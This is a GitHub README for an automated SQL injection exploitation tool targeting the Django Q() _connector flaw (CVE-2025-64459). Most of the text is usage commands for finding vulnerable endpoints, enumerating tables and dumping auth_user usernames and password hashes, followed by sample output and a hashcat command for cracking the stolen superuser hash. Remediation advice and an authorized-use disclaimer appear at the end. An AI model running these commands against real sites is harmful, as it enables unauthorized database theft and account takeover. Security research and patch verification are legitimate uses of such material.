rafaelchriss/RedTeamBrasil-CVE-2025-64459

GitHub: rafaelchriss/RedTeamBrasil-CVE-2025-64459

针对 Django ORM `Q()` 对象 `_connector` 参数 SQL 注入漏洞(CVE-2025-64459)的自动化检测与数据提取工具。

Stars: 0 | Forks: 0

connector-sqli

针对 Django ORM 的自动化 SQL Injection 利用工具
Q-object _connector · CVE-2025-64459

cve django python license

🎥 RedTeam Brasil 频道 — 实战攻防安全(葡萄牙语)。

``` ██████╗ ████████╗██████╗ connector-sqli ██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi ██████╔╝ ██║ ██████╔╝ CVE-2025-64459 ██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil ██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil ╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas ``` ## 📌 关于漏洞 — CVE-2025-64459 Django 的 ORM 使用 `Q()` 对象来构建过滤器。其构造函数 `Q(*args, _connector=None, _negated=False, **kwargs)` 接受一个特殊的 keyword argument **`_connector`** — 这是一个用于连接 `WHERE` 子句中各个条件的字符串(`AND`/`OR`)。 在受影响的版本中,该值**未经任何过滤**,被**直接**传递给了 SQL 语句。 当应用程序通过字典展开,将用户输入直接传递给 `Q()` / `.filter()` / `.exclude()` / `.get()` 时 — 这是一种典型的反模式: ``` # ❌ 存在漏洞 posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET) ``` …攻击者就可以控制 `_connector`,并在条件之间**注入任意的 SQL** (适用于 SQLite、PostgreSQL、MySQL 等)。 | 项目 | 详情 | |---|---| | **CVE** | CVE-2025-64459 | | **组件** | `django.db.models` — `Q()` / `QuerySet` (`_connector` 及列别名) | | **受影响版本** | Django **< 4.2.26**, **< 5.1.14**, **< 5.2.8** | | **修复方案** | 更新至 4.2.26 / 5.1.14 / 5.2.8(或更高版本) | | **影响** | 数据库的任意读取(UNION/blind)→ 凭据转储及后续链式提权 | ## ⚡ 功能特性 **通用的**(不绑定于特定目标)且**自动化的**利用工具: - 🧭 **自动寻找 endpoint** (`--auto`):爬取主页 + `robots`/`sitemap` + **内置字典**,通过 Django 的 `FieldError` 测试每一个路由。 - 🔎 **检测**存在漏洞的 endpoint 以及 `DEBUG=True` 状态(通过 `FieldError`)。 - 🧠 **自动发现**基础表及列的数量(通过读取报错页面中的 SQL)。 - 🎯 **寻找存在回显的列**(通过特定标记)→ 基于定界符进行数据提取(与页面的具体渲染方式无关)。 - 🗃️ **列出所有表 → 列出所有列 → 导出**任意表的数据(基于 UNION)。 - 🐚 **交互模式**(菜单:选择表 → 选择列 → 导出数据)。 - 🧪 支持**代理**(通过 `--proxy` 使用 Burp/mitmproxy)以及 **HTTPS** 目标。 ## 🚀 安装说明 ``` git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git cd RedTeamBrasil-CVE-2025-64459 pip install -r requirements.txt chmod +x rtb_connector_sqli.py ``` ## 🎮 使用方法 ``` # 1) 确认漏洞 python3 rtb_connector_sqli.py -u http://ALVO check # 2) 列出表 python3 rtb_connector_sqli.py -u http://ALVO tables # 3) 列出表的列 python3 rtb_connector_sqli.py -u http://ALVO columns auth_user # 4) dump (特定列或所有列) python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1" # 5) Django 用户快捷方式 python3 rtb_connector_sqli.py -u http://ALVO users # 6) 自由 SQL 表达式 python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()" # 7) 交互模式 (表 → 列 → dump 菜单) python3 rtb_connector_sqli.py -u http://ALVO shell # 8) 不知道路由?让它自己找 python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora ``` ### 选项 | Flag | 用途 | |---|---| | `--path /buscar` | 指定存在漏洞的 endpoint(默认为 `/list`) | | `--auto` | 自动寻找 endpoint(爬取 + 字典) | | `--wordlist rotas.txt` | 用于发现的额外路由字典(每行一个) | | `--base app_model` | 强制指定基础表(如果自动检测失败) | | `--proxy http://127.0.0.1:8080` | 将所有流量转发至 **Burp** / mitmproxy | ``` # 全部通过 Burp python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users # 或通过环境变量 (不带 flag) export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080 python3 rtb_connector_sqli.py -u http://ALVO shell ``` ## 🖥️ 输出示例 ``` [*] Alvo: http://ALVO/list [+] Campos do model (6): author, content, created_at, id, status, title [+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error [+] Tabela base: _ · colunas no SELECT: 6 [+] Coluna refletida (leitura): posição 4 ┌── auth_user (N) │ admin | pbkdf2_sha256$600000$$= | is_superuser=1 | admin@target └── ``` 拿到超级用户的 hash 后: ``` hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256 ``` ## 🛡️ 修复建议 1. **将 Django 更新**至 4.2.26 / 5.1.14 / 5.2.8+。 2. **绝对不要**将 `request.GET` 直接传递给 `Q()`/`.filter()`。请使用**白名单**: ALLOWED = {"title__icontains", "status"} safe = {k: v for k, v in request.GET.items() if k in ALLOWED} Post.objects.filter(**safe) 3. 在生产环境中设置 **`DEBUG = False`**(以防泄露 SQL/表结构/配置信息)。 4. 为数据库用户配置**最小权限**。 ## ⚖️ 免责声明 本工具仅供**教育目的**及**授权测试**(如实验环境、CTF、范围内的漏洞赏金计划、正式授权的渗透测试)使用。未经明确授权对系统进行测试是**违法行为** — 您需对自己的行为负全部责任。

RedTeam Brasil 出品 · 喜欢的话,请留下点赞并订阅频道。

标签:CISA项目, Django, DOE合作, Python, 安全, 无后门, 超时处理, 逆向工具